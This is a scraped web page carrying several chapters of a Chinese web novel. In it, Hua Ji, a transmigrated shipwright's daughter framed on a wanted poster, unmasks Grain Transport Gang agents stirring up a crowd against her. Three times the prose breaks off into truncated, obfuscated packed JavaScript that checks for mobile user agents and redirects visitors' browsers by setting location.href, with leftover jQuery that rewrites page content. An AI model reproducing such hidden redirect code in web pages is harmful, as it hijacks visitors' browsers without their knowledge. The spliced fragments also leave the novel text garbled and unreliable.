不敢想，那些无人安守的长夜，她都是如何醒来，又如何昏睡过去的。 小臂一侧的红衣上，一只苍白的玉手正紧紧攥着他，颤抖的指尖死命拉扯着皮肉。 很疼。 但在这一刻，他从未有过的，感觉到自己被需要。 所以那日，她便是强忍着这样的难耐拒绝的自己吗？ 昏暗的光线下，李文晞躲闪着花棘的目光。 她拖着如此病痛的身体，还是答应了陪他用膳，而他，竟然一直在疑心她，激怒她。 自那之后的每一天，只要踏入进花棘的小院，他都在自责。 花棘的出现，对他而言，实在太过特殊了。 不多时，怀中人的身子渐渐重了起来，不安的抖动趋于平息，素手从红衣上向下坠去，是意识模糊的花棘又睡着了。 李文晞一手托着花棘的后脑，一手放在腰下，将人再次小心地安置在了床铺里，重新盖好被子。 散落的黑发因为汗液，凌乱地贴紧在花棘的脸颊旁，他就那样半倚在床边，一点一点地帮她梳理着长发。 睡着的她，眉心依旧蹙着，惊叫的呓语模糊不清，叫人根本听不出她到底深陷在怎样的梦魇里。 经此一番，李文晞再也不敢轻易放花棘一个人了，他一直守在一旁，直至天色渐亮，才轻手放下床幔，退了出去。 花棘又昏睡了两天，高烧才终于退去，人总算清醒了过来。 过去几天半昏迷时发生的事，她没有多少记忆，只记得模糊中，总有一抹红色身影若近若远地出现。 她记不起那副身影的全貌，却也大概猜得到来人是谁。 能够自己下床走动，来至窗边的梳妆台前，阳光下，她第一眼就看见了一支，有人故意留在那里的木簪。然后，才是自己枯槁一般的面容。 木簪是取上等沉香木制成的，几步之外，已然香气扑鼻，簪子一端，还有能工巧匠精心雕琢的水波纹，尊贵又不失雅致。 头脑恢复清明的第一时间，她便向负责照顾起居的侍女，追问了她昏迷几天里发生的事，侍女隐晦地多次提到了她反复惊醒后的喊叫。 花棘并未有太多意外，这件事从前只有外婆知道。 她担心的是，自己那些掺杂着前世记忆的乱语，李文晞到底听到了多少，听懂了多少。 是以，当李文晞晚膳后再度前来探望时，她直接将人拦在了门外，冷言谢客。 她是这个世界里的异类，她不确定自己穿越者的身份一旦暴露，会掀起怎样的风浪，而李文晞的地位太过显赫，她不能牵扯进更多的事里。 现在她所掌握的远超时代的知识，和李文晞对她的好奇，是她最好的保护伞。 尽管这个保护伞的时间着实有限，但只要撑过她完成眼前的事情，她便再也不会出现在李文晞的视线里。 她已然拥有了新一批的船员，既身为船长，肩上担着的就是船上所有人的身家性命。 她不能让选择追随她的人，因她受到伤害。 夜里睡前，花棘驱散了守在自己房前的所有侍女，并厉声吩咐，以后夜间再无需任何人侍候。 傍晚时分尚且宜人的温度，到了深夜，凉意便开始有了侵略性，衣物总觉单薄，冷风不时就要往骨子里钻。 烛火尽熄的房内，花棘上床前，已经习惯先将一边的床幔卷起。 平躺在床榻上，外面虫蝇萧索，落叶安静，她从床幔边整齐的切口向外望去，月色如洗，姣好又温顺。 可她就那样望着，却是如何也没有困意，只能任由身体的疲惫拉着她沉沉睡去。 花棘的一场大病之后，晨王府中所有人都知道了，那个天赋异禀的年轻女子，变得更加孤僻、怪异。 秘密建造船队的事重在时间，耽搁得越久，漕帮与地方官僚设置出来的阻碍越多。 李文晞显然也很清楚这一点，所以，在花棘生病期间，他已然选定了一处绝对安全的地方，安排人着手动工了。 要在漓州找到一处，不在那些人监控下的地界并不容易，花棘想不出，他究竟是怎样做到的。 先前参与斗船比试的十六人中，到了第二日正式确认时，最后有九人留了下来。 便是这九个人，已比她预估的还要高了。 古时人的赤诚与肝胆，比之务实的现代人要更为纯粹，在她固有的观念里，还以为愿意冒这一趟险的人，会连一半都不到呢。 而更让她意外的是，即便是决定退出的人，也在去而复返后，送来了他们自制的工具、多年钻研的图纸、从未外传过的笔记...... 他们翘首在光亮的边缘，在最大程度地尽自己所能，期待着可以将这件事促成。 期待一个，不一样的明天。 花棘心急如焚，纵然百般要求，李文晞仍旧叫她又将养了三天之后，才肯放她出府。 造船的事有梅别鹤在，她并不担心，但即便船能够又快又好地顺利造出，入水之后船队的配合和操纵才是重中之重。 她该去找人了。 李文晞送来的簪子，她一直没有戴，还是房中同样的位置放着，她在头顶梳了最为简单的发饰，只绑了一根发带便出了门。 正值清晨时分，窗棂大开，树影平铺案前，阳光通透照亮了一张笔迹将干的手绘地图。 那是刚刚梳理完成的，整个漓州城及其周边地区，所有漕帮派系的分布图。 硬木车轮碾压过青石板路，留下刺耳的声响，棱角分明的天空之下，鲜少人踏足的深巷，驶出了一辆寻常的深蓝色马车。 花棘静坐车内，布帘外主街上热闹的叫卖声刚一清晰，车门边的门框上，就传来了三声短促的闷响。 这辆马车，已经被漕帮的人盯上了。 她不确定这群人到底知不知晓李文晞晨王的身份，但对这群亡命徒来说，只要有钱拿，没什么是他们不敢做的。 漕帮和狗官们之间的脏事，花棘知道的太多，这群人不可能放她活着站在李文晞一边乱说话，她当然明白自己一旦迈出李文晞的私宅会面临什么。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012592|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不过，这一次出来寻人，她并没有答应李文晞欲同行的要求，而是，找李文晞借了程峰暗中跟随。 李文晞敢以身成局搅动漓州官场，她又何尝不敢，凭一己之力倾覆整个漕帮。 花棘手中紧紧握着梅别鹤留给她的字条，原身在世时几乎足不出户，所提及的这个人她并不认识，纸条上的地址也离城区较远，是城市边缘地带近一年才归入的新区。 但漕帮中的第三大派系势力，如今正盘踞在那里。 摧毁一个组织最好的办法，就是让其被彻底替代掉。 她要做的事，她的野心，这个过程不流血是不可能，而愿意追随她的人，她不会让他们再继续担惊受怕下去。 既然他们已经有了李文晞这个靠山在，为何还要继续忍气吞声下去呢？ 她便是做了那狐假虎威的狐狸又如何？ 她便是那攀附权贵爱慕虚荣的女子又如何？ 空守道义的好人不得善终，她前世已然做过，今生，便要去与那无恶不作的人比一比，是谁坏得更彻底。 她走这一趟，对漕帮鼠辈们的反击，也将由此开始。 马车疾行晃动，左右行人欢愉的交谈，伴着饭香酒气，穿过光亮的缝隙，一点点飘入至花棘的鼻息间。 她倾身向一侧，抬手将窗口处的布幔掀开一角。 目之所及，楼宇纵横高耸，集市商贾纵横，男女往来衣着多元艳丽。 一条蜿蜒澄澈的河渠自闹市正中贯穿而过，两岸有杨柳低垂摇曳，载着才子佳人的小舟，于明镜一般的水面缓慢游荡。 嬉笑的孩童追逐而过，橘黄色的懒猫晒着日光，漫步在高檐黛瓦。 漓州，不愧是这个时代最为繁荣的都市之一。 这样安宁而美好的地方，更不应该，有那么多沉痛的阴霾。 临近目的地时，花棘提前早早地下了车，命一同前来的侍从远远跟在后面，自己则孤身跟着行人一起，从主路走去了一片沿河而筑的民居前。 她今日没有穿李文晞送来的衣服，而是私下叫侍女准备了一套低劣的绛色粗衣，不想，便是这样的她，走在人群中依旧是显眼的。 至少，她身上的衣服完整，干净，没有难闻的异味。 晨王府的穷字，与眼前人正在经历的穷，不是一个写法。 小范围聚集的人□□动地，天生对外来的生面孔敏感，花棘无视周围前来窥探的目光，径直向民居中央一处人群攒动的墙边走去，左右这里也不会有人认识她，倒叫她省了许多麻烦。 她正这样想着，谁知，才刚一走近人群边缘，身后突然惊起了一声大喊： “花棘！” “她就是花棘！” 花棘愣怔着，还未等她回头去看，前方围观在墙边一角的众人，猛地全部回头紧盯向她。 很快，越来越多人闻声靠近，她一时没有反应过来到底发生了什么。 直到，逆着众人的视线，向后方不远处的墙边一望，那里正张贴着一份官府悬赏的通缉令。 ——上面赫然画着她的脸。 人群中，一名躬身的老妇人，忽而快步来到她面前。 老妇人衣衫破旧打满了补丁，花白的长发稀疏，盘在脑后，一双灰白的眼睛凶狠地仰头看向她。 伸手指着她的鼻子，厉声质问： “花棘，你怎么不去死。” 23.第二十三章 看着年岁约莫要超过七旬的老妇，皱纹压倒了臃肿的脊梁，岁月的沟壑却将一双眼睛打磨得雪亮。 此时，自下至上微眯着紧紧盯向她，让花棘觉得，自己与老妇之间仿佛有什么血海深仇一般。 四下围过来的人潮越来越拥挤，流言蜚语迅速发酵。 身高仅到花棘肩膀的老妇，就挡在她面前，与她眼神交汇，无声对峙着。 周围数不清有多少双眼睛在赤裸裸地看着她们，那些目光中有憎恶、有嫌弃、有鄙夷......几乎全部都是冲着她来的。 花棘思绪清醒，并不打算在意这些，如此情景前世今生她早已见怪不怪。 眼下最重要的，是要尽快弄明白，那张凭空出来的通缉令到底是怎么回事。 她视线从老妇人身上移开，昂首望去了远处墙边。 随着她步子的移动，人群中自动向两侧为她让出来了一条小路。 如果根据正史的记载，通缉令是唐朝才有的。 因为直到唐朝，雕版印刷的技术才开始成熟，便于同样信息的纸张大批量复制。 她现在所处的时代，与唐朝时期最为相像，通缉令对于底层的普罗大众而言，还是个新鲜玩意儿。 绝大多数的平民百姓们，其实都不太清楚通缉令上这个要抓的人到底是谁，又犯了什么样的罪责。 他们只会由于认知上的障碍，盲从地觉得能够被官府公开通缉的人，一定都是罪大恶极的亡命之徒。 通缉令上的画像大多依据知情人的叙述完成，基本上仅能符合最明显的一些外貌特征，而且，这时的画像没办法批量印刷，只能由人在一张张通缉令上现画。 但眼前她的这一幅画像，相像到只要她本人一出现，便是几岁的孩童，也可以照着在人群中，认出来到底哪个是她。 还有，她最后一次在人前公开露脸的位置，是在城中的河边码头救人，而要抓她的公告，居然都费力贴到这么偏远的新区来了。 她可不认为，要抓她这么一个无依无靠的弱女子，需要这么兴师动众。 随着人渐渐走近，通缉令画像下方罗列的罪状，也变得愈发清晰了起来。 字数不多，花棘一眼就能扫个干净，可便是这寥寥几十字，已然可以颠倒黑白，将流血逝去的亡魂染污。 在这份通缉令上，她与离去的老父成了延误漕船工期的罪魁祸首，恶语冲撞官府的她拒不认罪，挣脱逃出。 后煽动众多船匠一起罢工，为私收钱财，与不明权贵勾结，暗自在负责的船只上动手脚，致使多艘行经漓州的漕船出事，十几人因此丧命。 好啊，便是所有子虚乌有的罪责，她全数认下了，又当如何？ 以上种种看似桩桩件件条理清楚，甚至连遭人谋害惨死的老父，也被说成了是畏罪自戕。 花棘蓦然转身，看着几步之外那一个个陌生的面孔，残败破旧的衣衫下，包裹着一个又一个愚昧盲从的躯壳。 时间蹉跎在他们身上，显得尤为曲折漫长，无论欢愉还是仇恨，在这些人的眼睛里，都被拉扯地纯粹而短暂。 但—— 从来任人摆布的贫苦百姓，他们中间又有几个人是识得这些字的！ 整张悬赏令上，他们除了能看明白画像是谁外，剩下唯一能看懂的，就只有被朱笔强调，标注出来的赏金。 一个当街连杀数人，犯下重大凶案的逃犯，悬赏金额也不过几十两白银。 而她这么个默默无闻的人，如今，竟然能值百两。 花棘于众人面前坦然地挺胸站着，她视线越过那些人的头顶环视而过，像是在寻找着什么。 少顷，她忽然抬脚向着某处快步而去，所经之处人流避让。 这一刻，她仿佛依旧还是那个从水中爬出，恍若能食人血肉的鬼魅。 秋日万里无云的晴空之下，长风自地平线尽头，乘着漓江翻卷的波浪而来。 一路行至河堤近处，叫摆动的杨柳驯服地愈发安顺，再往前些，穿插在密集的人影间，几乎要被隐没。 归巢的倦鸟停滞树梢，好奇地向下望着，眼见一片沉闷的粗衣间，唯一抹明显的绛红，流动在不时松散的缝隙里，像是暮色时分，大地上一只正在巡视领地的狮王。 众人双眼一直追随着那个身形高挑消瘦的女子，没过多久，眼看她径直走到了一架刚刚建造一半的木船上。 最后，不急不缓地停在船头的甲板前，直面过来。 女子苍白的脸上，下颌与鼻梁突出的角度都很尖锐，叫阳光镀了一层暖黄后，仍旧无法冲淡其眉眼间紧锁的清冷与淡漠。 饶是如此孤身陷于众矢之的，她脸上的情绪也未见有多少起伏，相反，一对漆黑狭长的双眸内，尽然一片沉着凛然。 人群中喧闹的议论声再起，正当众人疑惑这个狠毒的女子到底要做什么的时候，立于高处的花棘，忽而扬声开口。 “没错，我就是通缉令画像上的人，花棘。” 花棘双手合握，端放腹前，坦然地向下望着。 微风吹拂着她脸颊两侧的碎发，及腰的宽大儒裙轻扬拂动，她就这样笔直地站在船头，只一人，站成了一面不倒的旗帜。 下方的嘈杂因为她的话，倏尔有了短暂地停顿，她兀自接着道： “此举不为其他，只因方才诸位的咒骂声实在小了些，我听不清。” 说完，她抬起手臂随意一摆，满意地看了看自己现下所处的位置，漫不经心地解释。 “站在高处，我们大家都方便。” 此话一出，当即将刚刚沉寂下去的气焰，全数点燃了起来。 各式污秽不堪的辱骂放肆宣泄，人潮汹涌着向前挤来，极力伸出向前的手指交叉乱舞。 花棘冷眼看了看，等到群愤最高涨的时候，反倒向前又走了几步出去。 所谓她犯下的那些恶行，说到底和这些人根本也没什么关系，大家偏居一隅苦苦求生，若是单纯为了赏金，何须对她有这样深重的怨气。 她要知道是为什么。 那些躲藏在暗处的人，到底还做了什么。 她倒要看看，这天到底是如何被遮住的，这世道到底是如何被颠倒的。 她要明白，流言与污名落在她身上，到底能够多沉的重量。 这样，她才知道，当暗日被撕裂开来的那一刻，她该如何千倍百倍的偿还回去。 花棘于风暴正中，从容质问： “现在，由你们哪一位先开始？” 激锋在一刹那停滞，而后，更加激烈地喷涌而出。 花棘侧耳认真地听着，总算在千头万绪的指责里，抽出了一个话头。 她略微俯身，定睛看向一位中年妇人，重复了一遍方才妇人说过的话。 “敢问这位大嫂，您说的家里餐馆被查，强制关停，可是和我有关？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015567|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “当然和你有关！”妇人扬手厉声大喝。 随即，一张堆满了赘肉的脸涨红，斜瞪着一双吊梢眼大叫道：“不是因为你这个女人，我们好好的店怎么会被查，说什么贼人作乱，有效仿之嫌，平白就给贴了封条！” “效仿？”妇人挑眉逼问，“你自己做过的事情心里清楚，你倒是说说我们效仿什么了，哪里效仿了！” “店一关就是三天！你赔我的钱来！” “赔钱！” “不对，大嫂您说的不对。”花棘冷静地反驳道。 下方妇人闻言刚一开口，又被花棘强横打断。 花棘继续说：“光是赔钱怎么够呢？大嫂，我这样的祸害，谁哪怕沾上一点，这辈子都别想再好。” 她话说完，妇人气得恨不得直接跃起，爬上来扯烂她的脸。 但这时的花棘早直立起身，将视线移去了别处，她只是想要问清楚事情而已，才没有兴趣与这些人周旋。 接着，不同方向，她在另一个人口中，又听到了自己感兴趣的话。 “那位大哥，我没听错的话，是在说你的兄弟被抓，也是我连累的？”她问。 她倒是仔细地打量了几遍那人，汉子皮肤黝黑锃亮，瞧着也算是憨厚。 只不过，双臂根部与腋下处的肉堆积松散，不像是干惯了重活的贫苦人。 以及，她确认自己根本不认识这个人，和他的什么兄弟。 汉子挤上前来，对着花棘指指点点，“就是她，就是这个女人！” “要不是她带人在运货的漕船上动了手脚，装了满满五大船的粮货啊，全都沉了水。” 汉子满目愁苦，对周围人讲着。 “粮价、盐价......什么都跟着涨，官方挂出的盐价贵的要死，谁能买的起，谁能？” “乡邻们一连几条街的人，多少天都没有盐用，不然，我们兄弟又怎么会冒险私下贩盐，小弟......小弟他也不会被抓。” “大家说，该不该怪她！” 汉子说着看向身侧，就近当即有人跟着应和。 “你这个没心肝的东西！” “你知道自己害了多少人吗！” 花棘轻哼一声，冷笑着回应：“我怎么可能知道。” 她缓声道：“我只负责杀人，又不管埋。” 人群中剩余种种，她已懒得再去一一细问，大致听过，无外乎是因为她的牵连，或是对她的防备，官府更加重了对这片区域民众的迫害。 大多家庭均因此没了营生，负担加重，苦不堪言。 始终躲在暗处的狗官们，略施手段将近期引起民怨的事情，编排好了都来安在她身上。 无非是要彻底孤立她，阻碍她寻找外援实施计划，同时，私心保下他们的自己人，再名正言顺地将她结果掉。 可笑，到头来不过就这么点拙劣的腌臜心思。 在这片新区里，并没有人认识她，但在她第一次靠近人群的时候，身后就有人看准时机爆出了她的身份。 哪有这么巧合的事。 说明，漕帮的那群蛇鼠，就混迹在这群民众之中。 他们，便是那些最为惹人同情的“受害者们”。 花棘眼神锋利，忽地盯死在下方一人身上。 好在。 她已经找到那些人，都是谁了。 那么，也该轮到她兴师问罪了。 24.第二十四章 “是说，你们要出去跑货的船，因为我的事情受牵连，被扣下不让走了？” 一片七嘴八舌的杂乱之中，花棘努力整理着思路，目光如炬反问向人群中一位身型高挑的年轻壮汉。 因为花棘的话，壮汉见众人的注意力，一时全部来到自己身上，当即兴奋了起来，高声大喊。 “就是你！” “不是你这个女人，带着一群到处要挟人收黑钱的破船匠们，不给钱就沉人家的船，害死了那么多无辜的性命，我们的码头也不会被紧急查停。” 壮汉一边说，一边询问向旁边人。 “大家说，对不对？” 紧接着人潮另一侧，又有人继续谴责道：“谁不是上有老下有小，赚钱出来养家，被你这恶人一搅和，把大家的财路都给搅合没了！” 花棘默不作声，两耳认真辨别着人群各处的动静，一双眼睛仿若狩猎前的猫科动物一般，巡视着她要找的人。 普通民众的态度在焦点事件之下，绝大多数都是盲从的，他们关心的重点只在自身，自己的生计。 而潜藏着的漕帮人，则更是像狼人杀游戏里的狼人，混杂在平民中间，他们清楚地知道事情真相和所处的立场。 这些人的重点在她，带头煽动言论，夸张事实，用尽各种手段来脏她，只为推她出局。 刚刚后面跟着开口的那个人，说话间眼神飘忽，注意力全在附近几位民众的反应上。 约莫三十岁左右的年纪，手臂高举着扬起时，袖口里露出的皮肤颜色明显不够深。 手背上没有划痕，手心里也没有老茧，不可能是长时间在码头工作的人。 在这两人隔空配合的同时，人群中另外三个不同的方向上，都有人在负责承接，进一步激起情绪高涨，强化憎恶的目标。 群体效应之下，道德感可以被抬得无限高，哪怕是平日里最软弱的人，也能有勇气拿起别人递来的刀。 他们连人群中的站位都是提前算计好的，漕帮来的人均是年龄在二十到三十岁之间的男性，粗算下来大概有十几个。 明确了要对付的人都是谁，接下来便好办了。 才不过片刻功夫，当众“仗义执言”的年轻壮汉俨然已经要成为领袖了，花棘独自站在高处，朝着壮汉的方向一步一步走着。 脚踩在实木甲板上，带出咯吱咯吱的声响，在鼎沸的嘈杂里显得很突兀，是只有她一个人才能享受的律动。 她放缓了步子，合握在腹前的右手食指，节奏轻快地敲点在左手手背，随着脚下的响动打着拍子。 壮汉看懂了她的意思，很快推搡着人群挤来船头下方，双手交叉抱于胸前，满脸不屑地看向她，等待下文。 花棘在壮汉上方站定，随后略俯下身，眼中没有丝毫的掩饰和畏惧，质问道： “听你随口胡诌得我都累了，怎么，到底查封你的人是谁，是我花棘吗？” “你——”壮汉没想到花棘一个弱女子，说出的话来会这么强硬。 但马上他便反应了过来，鄙夷地嘲讽道：“哼！妇人之见！” “你这明明就是在强词夺理，要不是你的事情......” “我的事情？” 花棘厉声打断了壮汉的话，看向那人的眼神阴鸷而狠绝。 她扬声问道：“漓江上走水，整片水域每天出事的漕船，没有五十也有三十，凭何就因为我一个人，查停了你们的码头。” “那是——”壮汉一手高举，正指着花棘。 花棘驳斥不停。 “漓州城内外逃的罪犯有那么多，为什么偏偏是我花棘的事情，引起了这么大的关注？牵连了这么多的人？” “为什么该严查的不严查，该封的不封，偏偏在我出现之后，才有了这么多事？” “花棘！” 壮汉怒红着脸，大喝着争辩。 他扬手指着远处的墙边，高喊道：“官府张贴的通缉令上，白纸黑字写的明白，就是因为你干下的那些缺德事，你怎么抵赖都没有用！” “官府？” 花棘说着，人猛然向前扑去，两只手紧紧地抓着前方的围栏。 她怒瞪着眼睛问：“在有恶人出现危害民众的时候，官府要做的难道不应该是保护大家，为大家解决问题，帮助度过这段最难的时间吗？” “像现在这样趁机落井下石，欺压百姓，到底是我的错，还是他们的错！” 花棘直起身，高扬下巴，傲视着看向壮汉。 “好，你口口声声说事情因我而起，说相信官府，那我问你。” 她手指一侧奔流的江水，面容凛然若淬着寒冰的刀锋。 “被我花棘收过黑钱，动过手脚的漕船都有哪几艘？” “这些船出事的地点在哪里？牵连丧命的人又都是谁？” “在场有人能够回答出，我问的这些问题吗？” 花棘说完，环顾众人，下方一片茫然静默。 “这......这......”壮汉呆愣原地，准备不及，一时被问得哑口无言。 这时，一根不知从谁手中丢出的菜叶，忽而飞了上来，正砸在花棘的裙摆上。 她视线游走，还未锁定出到底是哪个方向的人干的，混乱的节奏便被再次带了起来。 “别信她！” “就是！毒妇的嘴中能说出什么好话！” “这样的人就该抓起来，游街示众！” 有了第一根丢上来的破菜叶之后，接下来，是越来越多，越来越密集的破布子、臭鸡蛋、脏粪球...... 花棘动作迅速，她快步退至不远处的帆布后，脚步停顿下来时，木板被踩踏发出的咯吱响声却没有停。 是有人上来抓她了。 她耳朵听着声响，时刻关注着来人距她有多远，手上动作没停，直接一把扯掉了捆绑船帆的麻绳。 而后将固定了一半的桅杆，连带着快速降落的帆布，一并全推倒了下去。 随着“嘭！”地一声巨响，尘土弥漫飞卷，下方人群的喧哗终于止了下来。 烟雾中，她凭借先前的记忆，径直走去一处角落，摸出了一把短斧。 荒诞的闹剧仿佛于最高潮处，被人按下了暂停键，天地也在一瞬间陡然缩小，帆布落下帷幕，烟尘是逐渐消解的干冰，故事中唯一的主角粉墨登场。 叫突如其来的变故惊到的众人，一直到噼啪坠落的声响完全停止，这才重新将视线汇集到甲板上。 距离最近的壮汉，不明所以地刚一抬头，便看见花棘正站在高处俯看着他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020845|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大胆，你这个——” 壮汉狰狞地叫唤倏地一停，瞳孔霎时放大，双脚发冷地冻在原地。 他分明看见一把铁斧，正朝着自己当头砍来。 再要闪躲已然来不及了，吓破了胆的他，更是连大喊的力气都被抽离了，只能眼睁睁地看着铁斧如雷霆般劈落。 咚！ 随着一道沉闷的巨响落下，壮汉如幽魂一般，眼神空洞地看向定在自己鼻尖几寸之外的铁斧。 斧柄上握着的一只纤细素手缓缓收回，露出的斧柄陈旧，带着一层深色的厚浆。 斧头该是很钝，方正的尾部还挂着多处锈迹，但此刻尖锐的另一端却深深地，钉入进船身坚硬的新木里。 以壮汉为中心，周围一圈人几乎是连滚带爬地散了出去。 刚才还在人云亦云，争相吼叫的众人，亲眼目睹了此番之后，这下彻底相信了，眼前的女子原来远比传闻中的还要狠绝。 另一边，往甲板上冲了一半的人，尽数默默又退了回去。 壮汉呆滞了足有一分钟，才渐渐缓过神来，额头两边的冷汗顺着脸颊，打透了胸前的一大片衣襟，不断战栗的后背也全都湿了。 他抬脚刚要挪动，谁知，竟直接腿软地跪了下去。 头顶上方，一道清冷的女声猝然响起：“这位大哥？” “哎......哎......”他连忙吞吞吐吐地回应，颤抖着仰起了头。 “听你的意思，你是在码头工作的？”花棘居高临下地问。 “是......是。”他下意识慌乱地回答。 “那是船匠？还是，水手？”花棘又问。 “是......” 壮汉心虚地犹豫了起来，他不明白这个女人为什么会突然这样问，只能先拖延时间，再试着随便说一个。 “船，船匠。”他道。 “呵，你还真是会选。” 花棘一听，没忍住直接笑了出来。 她斜睥着眼睛，随口问：“一艘二十丈长的粮船，船体内部的水密隔舱该如何设置，是横向，还是纵向，设多少个为宜？” “什，什么......” 壮汉被问得一惊，话说出口才发觉不对，当即眼神闪躲着与花棘错开了视线。 花棘满意地欣赏着壮汉脸上那副落魄的神情，右手轻放在甲板边的围栏上，食指惬意地敲打着拍子。 “怎么？是我问的问题太难了？你答不上来？那好，我换个简单一点的。” 她接着问：“船身龙骨处所用的硬木，是杉木、还是松木？” “是......是......”壮汉微低着头，思考间一双眼睛来回转动不停。 “是杉木！”他猛地大叫着抬头，看向花棘肯定道，“对！就是杉木！方才是你问的太快了，我还没来得及回答......” “满口胡言！” 花棘重拍栏杆，喝停了壮汉。 “杉木与松木均为软木，怎可用于龙骨建造。” “你，你，你，还有你！” 她说着，伸手指向人群中不同方向上的几人。 “你们分明就不是船匠，也根本没在什么码头做工过。” 花棘愤怒斥问：“你们，到底是谁！” 25.第二十五章 花棘所问的第二个问题早有准备，是很简单的造船常识，但凡真正上手动过船的人都会知道。 壮汉的反应更说明了，漕帮的这群鼠辈们，心思从来也没在漕运上。 他们这片新区的名字原为后狭，此处的“狭”，是狭窄的狭。 因这里距漓江中，一处狭窄且难以维护的人工河渠最近。 漓州漕运发达，后狭能够被并入进漓州城的范围，也是由于近几年偏居在这边的船匠和水手逐渐增多，船只运作的生计越发精进。 故而，别的事情暂且不论，单是船只建造用木这一点，下方的绝大多数人都能听懂其中蹊跷。 这会儿她话才说完不久，人群里已然有了明显的骚动。 花棘趁此走至甲板的最前方，站于高处直面向所有人，剖白陈情。 “我花棘对通缉令上陈述的罪行，通通不认。” 她这话一出，下方质疑的声音再次炸开了锅。 花棘不理，继续据理力争地为自己论辩。 “其一，说我与家父延误漕船工期的事，纯属无中生有。” “与漕船相关的一应要事均由官府控制，行船与检修的周期，都是一早便定好的。” “家父的船匠铺子虽有机会帮助核查其中细节，但若说是会因此延误工期，那我们父女二人便是在延误的前一日，就已经被砍掉脑袋了，家父又如何会有机会活着自戕。” 只花棘一人站在破损的船只前端，绛红色衣裙被污秽染湿的部分，恍若浸着鲜血，偏一侧肩膀外的暗绿色帔帛，在风中飒飒飞扬，宣誓着破土的生机。 蓦然闯入这里的女子，全然不施粉黛的脸上，一对凌厉的双眸决毅、睿智，气质出尘。 明明仅她一人在此，孤立无援，可那从容不迫的神色，却好像她的身后也有千军万马。 群起的激愤在花棘的冷静分析中，总算有了渐小的趋势，越来越多人愿意给出耐心，来听她到底在讲什么。 花棘继续直言：“其二，私收钱财与权贵勾结，这些空口无凭的事情暂且不谈，过往商船停靠漓州码头，卸货、装货、检修，桩桩件件关乎家财性命，所找的必定都是最信得过的人，乃是这一行公认的定律。” “家父于一月前已然离世，我一个鲜少出过门的女子，又如何插得进去手。” 她双手撑在栏杆上，神情笃定，字字恳切。 “再者，大家都是走过水的人，船上总有经验老道的人跟着，若行船时出现的问题，系先前船匠动过手脚，一旦确认下是谁做的，难道不会想方设法找其拼命吗？” 花棘大声反问：“可为何过往的商船连花棘这个人是谁都不知道，偏是官府的人在到处找我？” 随着她接连两次的剖析，这时，下方的人群几乎全部安静了下来，大家都在聚精会神地等待着她接下来的话。 花棘忽而眼神凶狠地扫视向下，开口一字一句道：“说明，真正与我深仇大怨的，根本就不是什么出事的商船，而是官府。” 她伸手一指方才还在咄咄逼人的年轻壮汉，“还有他们。” “漕帮。” 十几个被当众揭穿身份的漕帮人，神色出奇地一致，至此，只有他们看向花棘的眼神里，仍旧是满满的憎恨。 不多时，密集的人潮开始有了松动，有民众选择相信花棘的话，在用怀疑的眼神看过那些突兀出现的汉子们后，转而默默向后退去，远离开了他们。 当质疑的念头有了萌芽，舆论的天平便得以迅速倾斜。 紧跟着，越来越多的民众抱团跟随，漕帮的人很快被孤立了出来。 同狗官们站在一边，惯于趾高气昂欺压贫苦人的漕帮，向来都是民众们最为痛恨的对象。 时间无声地旁观着，静默推移，花棘转过头，直面向秋日里高挂的暖阳，眼睛被曝晒照得微眯了起来，俯首下去。 金黄色的硕大光圈平铺在一片整齐的黛瓦之上，院落四合，岁月静好，家家户户的房檐下，散落着各式寻常的日用物件儿，那是只有自家人才能读懂的秘密。 视线缓缓回收，更近处伫立在原地的民众千人千面，可稍一定睛去看，却发现那些人的神态分明无比相似，均是一样的茫然、慌乱。 谁又不是，只想过几天安生日子的小老百姓呢？ 花棘的眼神倏尔软了下来，她踱步至甲板一侧，沿着边缘的台阶走了下去。 她一边走一边重新开口，语气再也不似先前那般充满攻击性。 “家父名讳，花铭。”她缓声说道。 “乃是漓州城内一名寻常的船匠，家中曾在街角经营过一间不大的铺子，官家漕船上出现的一些小问题，人手忙不过来，时常会来找家父帮忙。” “一日，漕帮的人照常来找家父，留下了一份图纸，要求父亲按照上面的指示，调整甲板下方一处关键榫接钉合的位置。” 花棘于台阶中间处蓦地停了下来，她抬头看向众人，眼眶微红，一只手紧紧地抓着栏杆一侧，继续揭露。 “父亲拿到图纸没多久，便察觉到不对劲，他意识到甲板下预留的空隙多了。” 说完，她略作停顿，轻缓了一口气后，看向下面人的眼睛，接着道： “父亲发现，那多出来的尺寸，刚好够......平躺一个人。” 话音将落，人群里当即传出了起伏的吸气声。 “而若是近二十丈的漕船甲板下，这些多出的空间里全部......” 花棘越说越激动，却是在情绪最高涨的时候，猛然噤了声。 她不敢再说下去了。 在她的讲述之后，下方的嘈杂忽而变了，大家仍旧三三两两地讨论着，但声浪却远不似方才那般吵闹。 